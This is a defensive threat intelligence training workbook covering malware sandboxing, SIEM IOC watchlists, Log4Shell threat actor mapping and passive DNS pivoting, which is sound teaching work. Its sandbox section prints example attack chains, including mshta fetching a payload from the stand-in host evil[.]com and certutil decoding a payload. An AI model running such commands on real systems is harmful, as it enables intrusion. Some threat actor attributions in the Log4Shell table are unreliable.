Intermediate Level · Module 2

Cyber Threat Intelligence
Intermediate Workbook

Four hands-on exercises that take you from reading threat data to building operational defences. Work through each exercise in order — each builds on the last.

4 Exercises
Intermediate Difficulty
~5–7 Hours Total
VM or Free-Tier Tools Required
Before you begin
You should have completed the Beginner exercises (1–6) before starting here. You need basic familiarity with VirusTotal, MITRE ATT&CK, and the idea of IOCs. Each exercise assumes you are working on a dedicated VM or lab machine — never run unknown samples or analysis tools on your personal or work computer.

These four exercises cover the skills that separate a threat intelligence consumer from a threat intelligence practitioner. You will learn how to:


HIGH EXERCISE-10 · SANDBOX ANALYSIS
Malware Sandbox Analysis
A suspicious file has been quarantined on a user's machine. Your task is to understand what it does — not by executing it on your own machine, but by submitting it to an isolated sandbox environment and methodically reading the resulting report.
Est. Time: 75–90 min
Tools: any.run / Joe Sandbox / Hybrid Analysis
Pre-req: VirusTotal basics (Ex. 2)
EX-10

Malware Sandbox Analysis

A sandbox is a controlled, isolated virtual environment that runs a potentially malicious file and records everything it does — without any risk to real systems. Think of it like a glass room: the malware thinks it is running normally, but analysts can watch its every move through the walls.

Static analysis (checking hashes, strings, and metadata) tells you what a file is. Dynamic sandbox analysis tells you what it does — which is ultimately more important for detection and response.

What sandboxes record
Sandboxes monitor at the operating system level. They hook into the Windows API and capture every system call the malware makes, including: file reads/writes/deletes; registry key modifications; network connections and DNS queries; process creation and injection; clipboard access; and cryptographic operations. This produces a complete behavioural profile.

Modern malware families like Emotet, QakBot, and LockBit use anti-sandbox techniques: they check whether they are running inside a virtual machine, sleep for minutes before activating, or look for user activity before detonating. Professional sandboxes like any.run and Joe Sandbox are designed to defeat these techniques — they simulate user interaction, inject real-looking browser history, and disguise the virtualisation layer. You cannot replicate this safely on a personal machine.

Lab Safety Rule
Never submit files containing real personal data, internal documents, or anything confidential to a public sandbox. Files submitted to free-tier sandboxes are visible to other users. Use only test samples provided by your instructor, or known-bad samples from MalwareBazaar.
1
Create a free any.run account

Go to app.any.run and register with a non-personal email. The free tier allows public analyses, which is fine for known-bad samples. Once logged in, you'll land on the dashboard showing community analyses.

Take a moment to browse a few public analyses before submitting your own — get familiar with the layout.

2
Obtain a sample from MalwareBazaar

Visit bazaar.abuse.ch and search for a known malware family, e.g. Emotet or AgentTesla. Download a sample using the provided hash — MalwareBazaar packages samples in password-protected ZIPs (password: infected) to prevent accidental execution.

Record the SHA256 hash before you do anything else. This is your primary identifier for the sample.

3
Submit to any.run

In any.run, click New Task. Upload your sample. Set the environment to Windows 10 x64 (most modern malware targets this). Leave the network option on "Fake net" initially — this prevents real C2 communication while still recording connection attempts.

Click Run. The analysis takes 2–4 minutes. You can watch it in real time.

4
Read the process tree

The Process Tree panel shows every process that was spawned during execution. This is where you start analysis. A legitimate Word document does not spawn cmd.exe or powershell.exe — so if you see that chain, you've confirmed malicious behaviour.

Common malicious chains to look for:

malicious process chains (examples)
# Macro-enabled Office document dropping payload
WINWORD.EXE
└─ cmd.exe /c powershell.exe -enc [base64]
└─ powershell.exe
└─ regsvr32.exe payload.dll

# Phishing PDF spawning browser and download
AcroRd32.exe
└─ cmd.exe
└─ mshta.exe http://evil[.]com/stage2.hta

# Script-based dropper
wscript.exe malicious.vbs
└─ cmd.exe
└─ certutil.exe -decode payload.b64 payload.exe
└─ payload.exe [persistence + C2]
5
Record network connections

Switch to the Network tab. You'll see DNS queries and TCP/UDP connections. Even on "Fake net" mode, the malware will still attempt to connect — any.run records the destination IPs and domains even if they're sinkholes.

For each connection, note the destination IP/domain, the port, and the protocol. Port 443 to an unusual IP often means HTTPS C2 traffic.

6
Identify persistence mechanisms

The Registry tab shows any registry modifications. The most common persistence technique is writing to autorun keys. Look specifically for:

common persistence registry keys
# User-level persistence (runs on login for current user)
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce

# System-level persistence (runs for all users, requires admin)
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce

# Scheduled tasks (also check the Tasks tab in any.run)
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache

# Browser hijack persistence
HKCU\Software\Microsoft\Internet Explorer\Main
7
Map findings to MITRE ATT&CK

any.run automatically maps many behaviours to ATT&CK techniques. But you should also do this manually for the techniques it flags. Go to attack.mitre.org and find the full description for each technique ID to confirm it matches what you observed.

Your analysis should produce a structured set of observations. Here is an example for a fictional AgentTesla sample:

Category Finding ATT&CK Technique
Execution WINWORD.EXE spawned cmd.exe, then powershell.exe with encoded command T1059.001
Persistence Wrote copy of self to %APPDATA%\svchost32.exe, added HKCU Run key T1547.001
C2 Network DNS query for mail.domain-update[.]ru, TCP 587 (SMTP exfil) T1071.003
Credential Access Accessed Chrome credential store at default path T1555.003
Defence Evasion Called IsDebuggerPresent API; sleep loop of 120 seconds on start T1497.001
Joe Sandbox vs any.run
any.run is interactive — you can click inside the VM in real time, which is great for malware that waits for user interaction. Joe Sandbox (free community version at joesandbox.com) produces a more detailed PDF report with YARA matches, entropy graphs, and domain generation algorithm (DGA) detection. Use both for important samples.
Checkpoint Questions
  1. Your sandbox report shows powershell.exe -WindowStyle Hidden -enc [long base64 string]. What does the -enc flag mean, and how would you decode it to see what it does?
  2. The malware only communicates on port 443 to a legitimate-looking domain. Why might this be harder to block than a connection to a raw IP address?
  3. You see a registry write to HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon with a modified Userinit value. Why is this particularly dangerous?
  4. The sandbox detects no network activity at all. Does this mean the sample is not malicious? Explain your reasoning.
Exercise Deliverable
  • SHA256 hash and malware family name of your sample
  • Annotated process tree (screenshot with labels explaining each chain)
  • Table of all network IOCs (IPs, domains, ports) extracted from the analysis
  • List of all persistence mechanisms observed, with full registry paths
  • ATT&CK technique mapping — minimum 4 techniques with your evidence for each

MEDIUM EXERCISE-11 · SIEM INTEGRATION
Build a Custom IOC Watchlist in a SIEM
Raw threat intelligence has no operational value unless it triggers an alert when bad actors actually appear in your environment. This exercise takes you from a raw IOC feed all the way to a working SIEM correlation rule that fires on matches.
Est. Time: 90–120 min
Tools: Splunk Free Trial or Elastic SIEM
Pre-req: IOC enrichment (Ex. 4), any SIEM familiarity
EX-11

Build a Custom IOC Watchlist in a SIEM

A SIEM (Security Information and Event Management) system is the central nervous system of a SOC. It collects log data from across the organisation — firewalls, endpoints, cloud services — and lets analysts run queries and correlation rules against it.

The workflow you will build in this exercise is one of the most common in professional SOCs:

SourceThreat Feed
IngestLookup Table
MatchCorrelation Rule
AlertSOC Queue
ValidateTest Replay
What is a lookup table?
A lookup table (also called a reference list or watchlist) is a flat file — usually CSV — that the SIEM loads into memory. When a correlation rule runs, it can compare any field in a log event against values in this table. If an IP address in a firewall log matches an IP in your IOC watchlist, the rule fires. This is far more efficient than writing individual rules for each IOC.

We will use the Feodo Tracker botnet IOC feed from Abuse.ch, which provides C2 IPs for banking malware families (Emotet, QakBot, IcedID). It is free, updated multiple times daily, and well-structured.

fetch Feodo Tracker feed (Python 3)
import requests, csv, io
from datetime import datetime

# Feodo Tracker provides a clean CSV of active C2 IPs
FEED_URL = "https://feodotracker.abuse.ch/downloads/ipblocklist_recommended.csv"

resp = requests.get(FEED_URL, timeout=15)
lines = [l for l in resp.text.splitlines() if not l.startswith("#")]

# Parse into list of dicts
reader = csv.DictReader(io.StringIO("\n".join(lines)))
iocs = list(reader)

# Show first 3 records
for row in iocs[:3]:
print(row)

# Output format:
# {'first_seen_utc': '2024-01-15 09:23:00', 'dst_ip': '185.220.101.1',
# 'dst_port': '449', 'c2_status': 'online', 'last_online': '2024-01-15',
# 'malware': 'Emotet'}

Both Splunk and Elastic expect a specific CSV format for lookup tables. The key column is the one you will match against in your correlation rule. Clean and output the feed:

format IOCs for SIEM lookup (Python 3)
import csv

# Output a clean lookup CSV
with open("feodo_watchlist.csv", "w", newline="") as f:
writer = csv.DictWriter(f,
fieldnames=["ip", "port", "malware_family", "threat_type", "first_seen"])
writer.writeheader()
for row in iocs:
writer.writerow({
"ip": row["dst_ip"],
"port": row["dst_port"],
"malware_family": row["malware"],
"threat_type": "botnet_c2",
"first_seen": row["first_seen_utc"]
})

print(f"Wrote {len(iocs)} IOCs to feodo_watchlist.csv")
1
Upload the lookup table

In Splunk: go to Settings → Lookups → Lookup Table Files → Add New. Upload feodo_watchlist.csv. Then go to Lookup Definitions → Add New, select your file, and name the definition feodo_c2_iocs.

2
Verify the lookup works

Run this SPL query in the Splunk search bar to confirm the lookup loaded correctly. You should see all rows from your CSV returned:

Splunk SPL
| inputlookup feodo_c2_iocs
| stats count by malware_family

# Expected output (example):
malware_family count
Emotet 127
QakBot 84
IcedID 31
3
Write the correlation rule (SPL)

This rule joins your firewall logs against the watchlist. Any connection where the destination IP matches a known C2 server will be returned as an alert event:

Splunk correlation rule — C2 watchlist hit
| tstats count min(_time) as first_seen max(_time) as last_seen
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.action="allowed"
by All_Traffic.src_ip, All_Traffic.dest_ip, All_Traffic.dest_port
| rename All_Traffic.* as *
| lookup feodo_c2_iocs ip as dest_ip OUTPUT malware_family threat_type
| where isnotnull(malware_family)
| eval alert_title="Potential C2 Communication: ".malware_family
| table alert_title, src_ip, dest_ip, dest_port, malware_family, count, first_seen, last_seen
| sort -count
4
Save as an alert

Click Save As → Alert. Set the schedule to run every 5 minutes. Under Trigger Conditions, select "Number of results is greater than 0". This means the alert fires whenever any log event matches an IOC in your watchlist.

An untested detection rule is worthless. You must verify that it fires correctly by replaying logs that contain known-bad IPs from your watchlist.

generate test firewall log (Python)
import csv, random
from datetime import datetime, timezone

# Grab a real IOC from your watchlist to use in the test
TEST_C2_IP = "185.220.101.1" # Replace with an actual IP from your feed
TEST_C2_PORT = "449"

# Generate synthetic firewall logs, one of which matches your IOC
events = []
for i in range(50):
dest = TEST_C2_IP if i == 25 else f"8.8.{random.randint(0,255)}.{random.randint(1,254)}"
events.append({
"timestamp": datetime.now(timezone.utc).isoformat(),
"src_ip": f"10.0.0.{random.randint(1, 254)}",
"dest_ip": dest,
"dest_port": TEST_C2_PORT if i == 25 else "443",
"action": "allowed",
"bytes_out": random.randint(100, 50000)
})

with open("test_firewall_logs.csv", "w") as f:
w = csv.DictWriter(f, fieldnames=list(events[0].keys()))
w.writeheader()
w.writerows(events)
print("Test log written. Import into Splunk and confirm your rule fires on event #25.")

If you are using Elastic instead of Splunk, the workflow is equivalent. After loading your CSV as a Value List (Security → Manage → Value Lists), write your detection rule using the following KQL logic:

Elastic KQL detection rule — C2 watchlist hit
/* Elastic Detection Rule — Network event matching C2 IOC list */
/* Rule Type: Threshold | Index: logs-*,filebeat-* */

event.category:"network" and
network.direction:"egress" and
destination.ip: {feodo_c2_ips} /* reference your uploaded Value List */

/* Set threshold: group by source.ip, alert if count > 1 in 5 min */
/* Severity: High | Risk Score: 73 | MITRE: T1071, T1041 */
Reducing false positives
IOC feeds contain stale data. An IP that was a C2 server six months ago may now host legitimate services. Build a suppression allowlist for known-good IPs, and always check the last_online field from Feodo Tracker. Consider only alerting on IOCs seen in the past 30 days, and use the VT score to validate before escalating.
Checkpoint Questions
  1. Your correlation rule fires 200 times in an hour, all from the same internal IP. What is the first thing you should investigate before escalating?
  2. You update the Feodo watchlist CSV but your Splunk rule still matches against the old data. What did you forget to do?
  3. A colleague suggests matching on domains instead of IPs because IPs change too often. What additional data source would you need to ingest to make domain-based matching work in a SIEM?
  4. What is the difference between a lookup-based detection rule and a signature-based IDS rule? Which produces more actionable context?
Exercise Deliverable
  • Python script that downloads, cleans, and exports the Feodo feed to SIEM-ready CSV
  • Screenshot of your lookup table loaded successfully in Splunk or Elastic
  • The full SPL or KQL query for your correlation rule (saved as .txt)
  • Screenshot showing the rule firing when you replay the test log
  • A note on one false-positive scenario your rule might generate, and how you would suppress it

HIGH EXERCISE-12 · THREAT ACTOR ATTRIBUTION
CVE to Threat Actor Mapping — Log4Shell
A new critical CVE is published. Your job is not just to patch it — it is to understand which threat actors are actively exploiting it, how fast they moved from patch release to weaponisation, and what that means for your organisation's risk posture.
Est. Time: 60–90 min
Tools: NVD, CISA KEV, MITRE ATT&CK, open-source reporting
CVE: CVE-2021-44228 (Log4Shell)
EX-12

CVE to Threat Actor Mapping

Not all vulnerabilities are equal. A CVE with a CVSS score of 9.8 that no one is actively exploiting is a lower operational priority than a CVE with a score of 7.5 that a ransomware group weaponised within 48 hours of disclosure.

This exercise teaches you to trace the complete lifecycle of a vulnerability from its first disclosure through to active exploitation, producing the kind of intelligence brief that helps a CISO make a patching decision on imperfect information.

Why Log4Shell?
CVE-2021-44228, known as Log4Shell, is arguably the most significant vulnerability of the past decade. It affected Apache Log4j — a Java logging library used in millions of applications worldwide. Exploitation requires sending a single malicious string, and the attack vector is completely remote with no authentication. It became the case study for how fast nation-state and criminal actors can weaponise a critical CVE.

Before you can attribute exploitation to a threat actor, you need to understand what the vulnerability actually does. Start at the authoritative sources:

1
Read the NVD entry

Visit nvd.nist.gov/vuln/detail/CVE-2021-44228. Record: the CVSS score and vector string, the affected software and version range, the CWE (weakness class), and the references listed. The NVD entry is the authoritative technical description.

The CVSS vector for Log4Shell is CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H. Decode what each component means — this matters when explaining risk to non-technical stakeholders.

2
Check CISA's Known Exploited Vulnerabilities catalogue

Visit cisa.gov/known-exploited-vulnerabilities-catalog and search for CVE-2021-44228. If it is listed (it is), record: the date it was added to the KEV, the required action, and the due date CISA set for federal agencies.

CISA only adds CVEs to the KEV when they have observed active exploitation. A CVE in the KEV is by definition being used in real attacks right now.

3
Build the exploitation timeline

Use public reporting to reconstruct the timeline. For Log4Shell this is exceptionally well-documented. You are looking for:

DateEventSignificance
Nov 24, 2021 Alibaba Cloud security team privately reported the vulnerability to Apache Start of responsible disclosure window
Dec 9, 2021 Public PoC published on GitHub before Apache patch was finalised; CVE assigned Zero-day window begins — patch does not yet exist
Dec 10, 2021 Apache releases Log4j 2.15.0 patch; mass scanning begins within hours Race begins: patch vs exploitation at scale
Dec 11, 2021 Iranian APT group (Charming Kitten / APT35) observed exploiting unpatched systems Nation-state weaponisation within 36 hours of PoC
Dec 13, 2021 Conti ransomware group shares internal chat showing Log4Shell integration into their toolkit Criminal weaponisation; ransomware deployment risk
Jan 2022+ Multiple ransomware and cryptominer campaigns continue exploiting unpatched systems Long tail: months of active exploitation post-patch

Use open-source reporting to compile a threat actor list. Useful sources include CISA advisories, Mandiant blog posts, Microsoft MSTIC reports, and vendor publications from CrowdStrike, Palo Alto Unit 42, and Recorded Future.

How to search for threat actor reporting
A structured search like site:mandiant.com Log4Shell CVE-2021-44228 APT or site:cisa.gov Log4j advisory returns authoritative reporting rather than noise. For each threat actor you find, record their name, suspected origin country, target sectors, and what they did with Log4Shell (initial access, lateral movement, ransomware deployment, etc.).

Build a threat actor table for your analysis. The exercise data below is based on verified public reporting:

Threat Actor Attribution Use of Log4Shell Target Sectors Source
APT35 / Charming Kitten Iran Initial access, backdoor deployment Government, Defence, Healthcare Microsoft MSTIC
Hafnium China Intelligence collection on US defence contractors Defence Industrial Base CISA AA21-356A
Conti (Criminal) Russia-linked Initial access leading to ransomware deployment Enterprise, Healthcare, Financial CrowdStrike, leaked chat logs
Phosphorus / DEV-0228 Iran Mass scanning; deployed NightSky ransomware Israeli businesses, transportation Microsoft MSTIC Jan 2022
Opportunistic cryptominers Multiple Deploy XMRig, Kinsing miners via JNDI injection Any exposed server — cloud-heavy Aqua Security, Lacework

This step simulates what a real analyst does for their employer. You have been given a mock asset inventory. Your task is to identify which assets are affected.

Log4Shell affected asset classes
Virtually any Java application that logs user-controlled input is potentially vulnerable. The key check is whether the application uses Apache Log4j 2.x versions 2.0-beta9 through 2.14.1. Affected products included: VMware vCenter, Cisco products (200+ advisories), Palo Alto Panorama, Fortinet, and thousands of custom Java web applications.

For your mock organisation, assume the following asset inventory. Work through each row and assess exposure:

AssetTechnologyInternet-Facing?Log4j VersionYour Risk Assessment
HR Portal Custom Java Spring app Yes 2.12.1 CRITICAL — patch immediately
Internal Wiki Confluence (Java) No (VPN only) 2.13.3 Your assessment here
Monitoring Dashboard Elastic SIEM No (internal) Uses bundled Log4j Your assessment here
Payment Gateway .NET / C# stack Yes Not applicable Your assessment here
CI/CD Pipeline Jenkins (Java) No (dev network) 2.16.0 Your assessment here

Translate your research into an action document. A good remediation brief answers three questions:

remediation brief template structure
THREAT INTELLIGENCE BRIEF — CVE-2021-44228 (Log4Shell)
Classification: TLP:WHITE | Date: [DATE] | Author: [YOUR NAME]

1. EXECUTIVE SUMMARY
2–3 sentences: what is it, why it matters for us, what we are doing

2. TECHNICAL SUMMARY
CVE, CVSS score, affected components, root cause (JNDI injection)

3. THREAT ACTOR LANDSCAPE
Table: actor, origin, targeting, observed TTPs
Relevance to our sector: [HIGH / MEDIUM / LOW] with justification

4. AFFECTED ASSETS — OUR ENVIRONMENT
P1 (patch within 24h): [list]
P2 (patch within 7 days): [list]
P3 (not affected / monitor): [list]

5. RECOMMENDED ACTIONS
Immediate: network block JNDI callback IPs, WAF rule deployment
Short term: patch schedule, detection rules in SIEM
Ongoing: Log4j inventory scan, hunt for past exploitation

6. INDICATORS OF COMPROMISE
List of observed exploitation IPs and malicious JNDI strings
10.0
CVSS Score
36h
Time to APT Exploit
~93M
Daily Exploit Attempts (peak)
Checkpoint Questions
  1. CVSS scores measure technical severity, not exploitability in the wild. Name two CVEs that had low CVSS scores but were heavily exploited, or two with high CVSS scores that were almost never used in real attacks. What does this tell you about using CVSS as a sole prioritisation metric?
  2. Your organisation runs a Java application but your developers say "we don't directly use Log4j." Why might you still be vulnerable?
  3. CISA's KEV mandates patching for US federal agencies. If you work in the Nigerian private sector, why should you still care about KEV entries?
  4. What is the difference between a mitigation (e.g. WAF rule blocking JNDI strings) and a remediation (patching)? In what situation would you deploy a mitigation without immediately patching?
Exercise Deliverable
  • Completed exploitation timeline for Log4Shell (at least 6 dated events)
  • Threat actor table with minimum 4 actors, sourced from named publications
  • Completed mock asset risk assessment with justification for each row
  • Full remediation brief using the template, 1–2 pages, addressed to a non-technical CISO

HIGH EXERCISE-13 · INFRASTRUCTURE ANALYSIS
DNS-Based Threat Intelligence
Attackers build infrastructure — domains, IPs, name servers — and they reuse it. A domain used for phishing today was registered with the same registrar, hosted on the same IP block, and shares a name server with other malicious infrastructure. Passive DNS lets you find it all.
Est. Time: 60–75 min
Tools: SecurityTrails (free), PassiveTotal / RiskIQ, VirusTotal
Pre-req: Basic DNS knowledge (A, MX, NS records)
EX-13

DNS-Based Threat Intelligence

When your browser resolves a domain name, a DNS resolver converts it to an IP address. Passive DNS databases are built by recording these resolution events at scale — essentially logging every domain-to-IP mapping observed across millions of resolvers over years of time.

This historical record is invaluable for threat intelligence because attackers rarely build their infrastructure from scratch for each operation. They rotate IPs, but patterns persist: the same name server, the same registrar, the same subnet, the same SSL certificate. Passive DNS lets you find these patterns and pivot across them.

The intelligence cycle of a malicious domain
  1. Attacker registers a domain (often via privacy-preserving registrar, with a typosquat or lookalike name)
  2. Attacker configures DNS — the domain resolves to a hosted C2 or phishing server IP
  3. Campaigns run — victims connect to the domain; passive DNS logs the A record resolution
  4. Domain is burned — defender blocks it, attacker moves to a new domain
  5. Old infrastructure reused — new domain points to same IP, same hosting provider, same NS
  6. Analyst pivots — finds the new domain by querying who else resolves to that IP
Starting PointPivot ToWhat you find
Domain Historical IPs All IPs the domain has ever pointed to — reveals hosting history
IP address All domains hosted Other malicious domains on the same server — shared infrastructure
Name server All domains using it Entire campaigns if attacker uses same NS for all their domains
Registrant email All domains registered Full domain portfolio of an attacker (if they didn't use privacy)
SSL certificate All domains on cert Wildcard certs reused across attacker infrastructure
ASN / IP range All domains in subnet Bulletproof hosting clusters used by criminal groups
1
Set up SecurityTrails

Go to securitytrails.com and create a free account. The free tier allows a limited number of API queries per month and access to the web interface, which is sufficient for this exercise. SecurityTrails provides historical DNS records, WHOIS data, and IP reverse lookups.

2
Look up a known-malicious domain

Your instructor will provide a seed domain from a recent threat report (or use a defanged domain from a public CISA advisory). Enter it in the SecurityTrails search bar. Never type a live malicious domain into a browser — always defang it by replacing the dots: evil[.]com means you are writing it, not visiting it.

On the domain page, you will see the current A record, historical A records, MX records, NS records, and subdomains. Record everything in your notes.

3
Pivot 1: domain → historical IPs

In SecurityTrails, click on the History tab for your domain. You will see a timeline of every IP address this domain has resolved to, with dates. For each historical IP, record it and note the date range it was active.

SecurityTrails API — historical IPs for a domain (Python)
import requests

API_KEY = "YOUR_SECURITYTRAILS_API_KEY"
DOMAIN = "example-malicious-domain.com" # replace with your seed
HEADERS = {"APIKEY": API_KEY}

# Current DNS records
url = f"https://api.securitytrails.com/v1/domain/{DOMAIN}"
r = requests.get(url, headers=HEADERS)
data = r.json()

print("=== CURRENT DNS ===")
print("A records:", data.get("current_dns", {}).get("a", {}).get("values", []))
print("NS records:", data.get("current_dns", {}).get("ns", {}).get("values", []))

# Historical A records
url_hist = f"https://api.securitytrails.com/v1/history/{DOMAIN}/dns/a"
rh = requests.get(url_hist, headers=HEADERS)
hist = rh.json()

print("\n=== IP HISTORY ===")
for record in hist.get("records", []):
for val in record.get("values", []):
print(f" {val['ip']:20s} first: {record.get('first_seen','?')} last: {record.get('last_seen','?')}")
4
Pivot 2: IP → all domains

Take one of the IPs you found in the previous step. In SecurityTrails, search for this IP directly (or use the API endpoint below). This returns every domain that has ever pointed to this IP — which is the most powerful pivot in passive DNS analysis.

SecurityTrails API — all domains on an IP (Python)
IP = "185.220.101.X" # replace with your discovered IP
url = f"https://api.securitytrails.com/v1/reverse_dns/{IP}"

r = requests.get(url, headers=HEADERS)
data = r.json()

print(f"\n=== DOMAINS ON {IP} ===")
for domain in data.get("reverse_dns", {}).get("domains", []):
print(f" {domain}")

# For each domain found, check VirusTotal reputation:
# https://www.virustotal.com/gui/domain/{domain}
5
Pivot 3: name server → full campaign

The name server pivot is often the most revealing. Attackers often use a single bulletproof DNS provider or self-hosted name server across their entire campaign. If you can identify the NS records for your seed domain, searching for all domains using those same name servers may return dozens or hundreds of related domains.

SecurityTrails — domains sharing a name server (Python)
# First, get the NS record of your seed domain
# E.g. if the NS is: ns1.attacker-hosting[.]com

NS = "ns1.attacker-hosting.com" # replace with discovered NS
url = "https://api.securitytrails.com/v1/domains/list"

body = {
"filter": {
"ns": NS
}
}

r = requests.post(url, json=body, headers=HEADERS)
data = r.json()

print(f"Found {data.get('total', 0)} domains sharing this name server:")
for d in data.get("records", []):
print(f" {d['hostname']}")
6
Validate and classify each domain found

For every new domain surfaced through your pivots, quickly check its VirusTotal reputation. Not every domain on the same IP is malicious — some legitimate services share hosting infrastructure. Classify each as: confirmed malicious, suspicious, or likely benign.

7
Draw the infrastructure map

Using whatever tool you prefer (draw.io, Maltego Community, or even pen and paper), draw the infrastructure network you have uncovered. Nodes should be: domains, IPs, name servers, and ASNs. Edges represent the DNS relationships between them. Colour-code nodes by confidence level.

This visual is the key deliverable — it turns passive DNS data into an intelligence picture an analyst can act on.

Real-world example: Lazarus Group infrastructure
A 2020 analysis of Lazarus Group (North Korean APT) infrastructure revealed that many of their phishing domains shared the same two name servers, both hosted at a specific South-East Asian bulletproof hosting provider. Analysts who pivoted on these name servers found over 80 additional domains in active use by the group — months before those domains were used in attacks. That is predictive intelligence: finding infrastructure before it is weaponised.

A pivot chain documents your analytical path so another analyst can reproduce or extend your work. Document it like this:

pivot chain documentation template
PIVOT CHAIN — [DATE] — Analyst: [NAME]

SEED: malicious-domain[.]com
Source: CISA advisory AA22-XXX
VT Score: 15/90 vendors flagged

PIVOT 1: malicious-domain[.]com → A record history
→ Found IPs: 185.220.101.1 (Jan–Mar 2024)
45.142.212.X (Apr 2024–present)
Tool: SecurityTrails history API

PIVOT 2: 185.220.101.1 → Reverse DNS
→ Found 14 co-hosted domains
→ 9 of 14 flagged on VirusTotal (malware/phishing)
Tool: SecurityTrails reverse_dns endpoint

PIVOT 3: All 9 confirmed malicious share NS: ns1.bullet-host[.]ru
→ NS pivot returns 47 domains
→ 31 of 47 confirmed malicious on VT
Tool: SecurityTrails domains/list filter

RESULT: 38 new IOCs (31 domains + 7 IPs) attributed to same actor
Confidence: MEDIUM-HIGH (shared NS + IP + VT corroboration)
Recommended action: Block all 31 domains at DNS level
WHOIS and privacy gotcha
Most professional threat actors use WHOIS privacy services (Domains By Proxy, WhoisGuard). You will rarely find a real registrant name or email for malicious domains — attackers learned that lesson years ago. However, older infrastructure (pre-2019) sometimes has real registrant data, and occasionally actors slip up. Always check historical WHOIS data, not just current records.
Checkpoint Questions
  1. You find 40 domains co-hosted on a single IP. How do you efficiently determine which are malicious versus which are legitimate sites that happen to share a hosting provider?
  2. An attacker's domain historically resolved to IP 1.2.3.4, then moved to 5.6.7.8. Both IPs are in the same /24 subnet. What does this tell you about how the attacker manages their infrastructure?
  3. You discover that a malicious domain's name server is ns1.legitimate-sounding-cloud.com. You search for all domains using this NS and find 10,000 results. Is this pivot useful? What would you do next?
  4. A colleague says "passive DNS is outdated — attackers use fast-flux, domain fronting, and CDNs now." Respond to this critique. Which attacker categories does passive DNS still work well for, and which does it struggle with?
Exercise Deliverable
  • Full pivot chain documentation (text format, like the template above)
  • Infrastructure map (diagram showing domains, IPs, NS nodes and their relationships)
  • Final IOC list: all confirmed malicious domains and IPs discovered through pivoting, in defanged format
  • Brief written assessment: how organised is this attacker's infrastructure? What does the pattern tell you about their capability level?

REF

Tool Stack Reference

All tools used in this workbook are free-tier or open-source. The table below summarises what each tool does and where to access it.

Tool Used In Purpose Access
any.run EX-10 Interactive malware sandbox; real-time process tree, network, and registry monitoring app.any.run (free tier)
Joe Sandbox EX-10 Deep behavioural analysis; DGA detection; YARA matching; detailed PDF report joesandbox.com (community free)
MalwareBazaar EX-10 Repository of known-bad file hashes; download samples for analysis bazaar.abuse.ch
Splunk Free Trial EX-11 SIEM; lookup tables; SPL correlation rules and alerting splunk.com/free-trials (60 days)
Elastic SIEM EX-11 SIEM alternative; Value Lists; KQL detection rules elastic.co (free tier 14 days / self-hosted)
Feodo Tracker EX-11 Free daily-updated C2 IOC feed (IPs, ports, malware families) feodotracker.abuse.ch
NVD EX-12 Authoritative CVE database; CVSS scores and vulnerability details nvd.nist.gov
CISA KEV EX-12 Known exploited vulnerabilities catalogue; active exploitation confirmation cisa.gov/known-exploited-vulnerabilities-catalog
SecurityTrails EX-13 Passive DNS; historical A/NS/MX records; reverse IP lookup; API access securitytrails.com (free: 50 API queries/month)
VirusTotal All exercises File/URL/IP/domain reputation; AV detections; community comments virustotal.com (free API: 500 req/day)
MITRE ATT&CK EX-10, EX-12 Technique taxonomy; group profiles; detection guidance attack.mitre.org
Never hard-code API keys in scripts
All example scripts in this workbook show API keys as placeholder strings like "YOUR_API_KEY". In practice, load keys from environment variables or a local config file that is not tracked by version control. A committed API key in a public GitHub repo will be scraped by bots within minutes.
safe API key loading (Python)
import os

# Load from environment variable (set in your shell: export VT_API_KEY="abc123")
VT_KEY = os.environ.get("VT_API_KEY")
ST_KEY = os.environ.get("SECURITYTRAILS_KEY")

if not VT_KEY:
raise EnvironmentError("VT_API_KEY not set. Run: export VT_API_KEY='your_key_here'")
Module Complete
Exercises 10–13
You have covered sandbox analysis, SIEM integration, vulnerability intelligence, and passive DNS pivoting. The next module (Expert) covers YARA rules, APT emulation, and threat attribution.